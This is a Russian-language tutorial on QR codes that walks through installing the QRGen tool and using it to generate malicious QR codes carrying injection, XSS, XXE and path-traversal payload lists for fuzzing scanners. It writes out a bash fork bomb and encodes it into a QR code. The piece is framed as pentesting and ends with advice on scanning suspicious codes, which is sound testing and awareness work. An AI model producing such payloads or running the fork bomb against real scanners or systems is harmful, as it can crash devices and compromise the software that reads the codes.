Что за QR-коды?QR-коды - это форматы данных, которые полезны для всего, что необходимо сканировать автоматически. До QR-кодов существовало несколько других форматов, называемых линейными штрих-кодами, которые также сохраняли данные в удобном для машин виде. Вы, вероятно, видели штрих-код UPC не раз, так как он часто используется для идентификации товаров для продажи, чтобы кассиры могли сканировать их. Его назначение в основном в розничной торговле и кодирует он только серию цифр, что делает его ограниченным в применении. Хотя существует много различных типов линейных штрих-кодов, они не могут хранить много информации. Такие приложения, как судоходство и производство автомобилей, требовали стандарта, который бы содержал больше данных. Что могут коды с большим количеством данных?QR-коды появились в автомобильной промышленности как способ отслеживать автомобили в процессе их производства, но их популярность быстро выросла за пределами этой отрасли. Подобно другим кодам, QR-коды могут содержать тонну данных и даже работать при уменьшении разрешения или иным повреждении. Один QR-код может содержать 4 296 символов ASCII, что дает гораздо больше возможностей. Вы даже можете отформатировать данные для запуска действий, когда устройство чтения распознает их. Одно из замечательных применений QR-кодов благодаря их большей емкости данных - это использование их для управления подключениями Wi-Fi без использования пароля. Кодируя следующую строку, вы можете создать QR-код, который автоматически регистрирует пользователей Android в сети Wi-Fi. WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>; Любой, кто сканирует QR-код на устройстве Android, автоматически войдет в зашифрованную сеть Wi-Fi. Чтобы узнать, сколько данных может упаковать QR-код, взгляните на этот код: Этот крошечный код содержит следующий текст: Version 40 QR Code can contain up to 1852 chars. A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones. The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data. Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes. The QR code was designed to allow its contents to be decoded at high speed. The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes. Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context, including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging). QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message. Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps. Текст на изображении больше самого QR-кода! Емкость делает QR-коды и мощными, и опасными, потому что люди не могут понять данные внутри них без предварительного их сканирования. QRgen для взломанных кодовПоскольку человек не может распознать вредоносный QR-код до его фактического сканирования, относительно большая полезная нагрузка QR-кода может принести пользу хакеру, особенно в сочетании с уязвимыми устройствами. Инструмент, который мы будем использовать сегодня для их создания, называется QRGen. QRGen поставляется со встроенной библиотекой, которая содержит множество популярных эксплойтов, что очень полезно, если у вас есть время сесть за то же устройство, которое вы хотите использовать, и выяснить, какое из них работает. Для пентестера, желающего проверить все, что использует сканер QR-кода, простая покупка того же сканера и пробежка по эксплойтам может привести к тому, что сканер будет вести себя неожиданным образом. Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью -l и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже. 0: SQL-инъекции 1: XSS 2: Инъекция команд 3: формат строки 4: XXE 5: Струйный Fuzzing 6: SSI инъекция 7: LFI / Обратный путь в каталогах Чтобы создать кучу вредоносных QR-кодов, содержащих нечеткие полезные нагрузки строк, мне просто нужно запустить QRGen.py -l 5, чтобы создать множество кодов для тестирования. Что понадобитсяЧтобы использовать QRGen, вам нужно установить Python 3. Это должно быть возможно в любой операционной системе. Вам также понадобятся несколько библиотек Python, включая qrcode, Pillow и argparse, которые мы также установим. Установка QRGenЧтобы начать, скачаем репозиторий из гитхаба. ~$ git clone https://github.com/h0nus/QRGen Cloning into 'QRGen'... remote: Enumerating objects: 86, done. remote: Counting objects: 100% (86/86), done. remote: Compressing objects: 100% (78/78), done. remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0 Unpacking objects: 100% (86/86), done. Когда загрузка кончится, поменяйте параметр (cd) на его директорию и перечислите (ls) его содержимое, чтобы найти требуемый файл. ~$ cd QRGen ~/QRGen$ ls demo.gif qrgen.py README.md requirements.txt words Теперь вам нужно убедиться, что у нас установлены все необходимые библиотеки. Для этого запустим установочный файл с помощью следующей команды. ~/QRGen$ pip3 install -r requirements.txt Collecting qrcode (from -r requirements.txt (line 1)) Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1) Collecting argparse (from -r requirements.txt (line 3)) Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0) Installing collected packages: qrcode, argparse Successfully installed argparse-1.4.0 qrcode-6.1 Если не сработает - есть альтернативная команда ~/QRGen$ python3 -m pip install -r requirements.txt Создание вредоносных QR-кодов из типа полезной нагрузкиТеперь вы сможете запустить скрипт, набрав python3 qrgen.py. ~/QRGen$ python3 qrgen.py e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus usage: qrgen.py -l [number] usage: qrgen.py -w [/path/to/custom/wordlist] Payload lists: 0 : SQL Injections 1 : XSS 2 : Command Injection 3 : Format String 4 : XXE 5 : String Fuzzing 6 : SSI Injection 7 : LFI / Directory Traversal Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader optional arguments: -h, --help show this help message and exit Options for QRGen: --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7} Set wordlist to use --wordlist WORDLIST, -w WORDLIST Use a custom wordlist Pay attention everywhere, even in the dumbest spot Для начала давайте создадим полезную нагрузку. Для этого запустите QRGen со следующим аргументом. ~/QRGen$ python3 qrgen.py -l 5 e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path generated.. Path already cleared or deleted.. Generated 46 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus.. Будет сгенерировано несколько QR-кодов, и последний из созданных автоматически откроется. Чтобы увидеть остальные данные, вы можете набрать cd genqr, чтобы перейти в каталог, в котором они созданы, и просмотреть его содержимое. ~/QRGen$ cd genqr ~/QRGen/genqr$ ls payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png payload-18.png payload-27.png payload-36.png payload-45.png Кодирование полезных нагрузокЧтобы кодировать полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим кодировать. Каждая строка будет новой полезной нагрузкой. Сначала мы можем создать следующий текстовый файл, набрав nano badstuff.txt для создания текстового файла. ~/QRGen/genqr$ nano badstuff.txt В этот текстовый файл мы можем поместить нашу полезную нагрузку. Та, что ниже, - это fork-бомба. Будет ли она работать на сканере QR-кода? Кто знает. :(){ :|: & };: Мы можем сохранить его, нажав Ctrl + X, затем нажмите Y и Enter, чтобы подтвердить сохранение. Теперь вы должны увидеть текстовый файл, содержащий вашу полезную нагрузку. ~/QRGen/genqr$ ls badstuff.txt payload-18.png payload-27.png payload-36.png payload-45.png payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png Чтобы записать свою полезную нагрузку в QR-код, мы будем использовать команду -w. Предполагая, что ваш файл полезных данных называется «badstuff.txt», команда для этого должна выглядеть следующим образом (не забудьте заранее вернуться в каталог QRGen). ~/QRGen/genqr$ cd .. ~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt' e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path exist, continuing... Path already cleared or deleted.. Generated 1 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus.. Для моей бомбы программа генерирует такой QR-код Не все QR-коды целесообразно сканироватьQR-коды могут кодировать много информации, и, как мы узнали сегодня, они могут даже быть запрограммированы, чтобы заставить устройство делать что-либо. Это делает сканирование QR-кода рискованным, поскольку у человека нет возможности прочитать информацию, прежде чем сканировать. Если вы сканируете QR-код, который кажется подозрительным, обратите внимание на то, что код пытается запустить, и не подключайтесь к сети Wi-Fi и не переходите к сокращенной ссылке.
| |
| |
Просмотров: 277 | |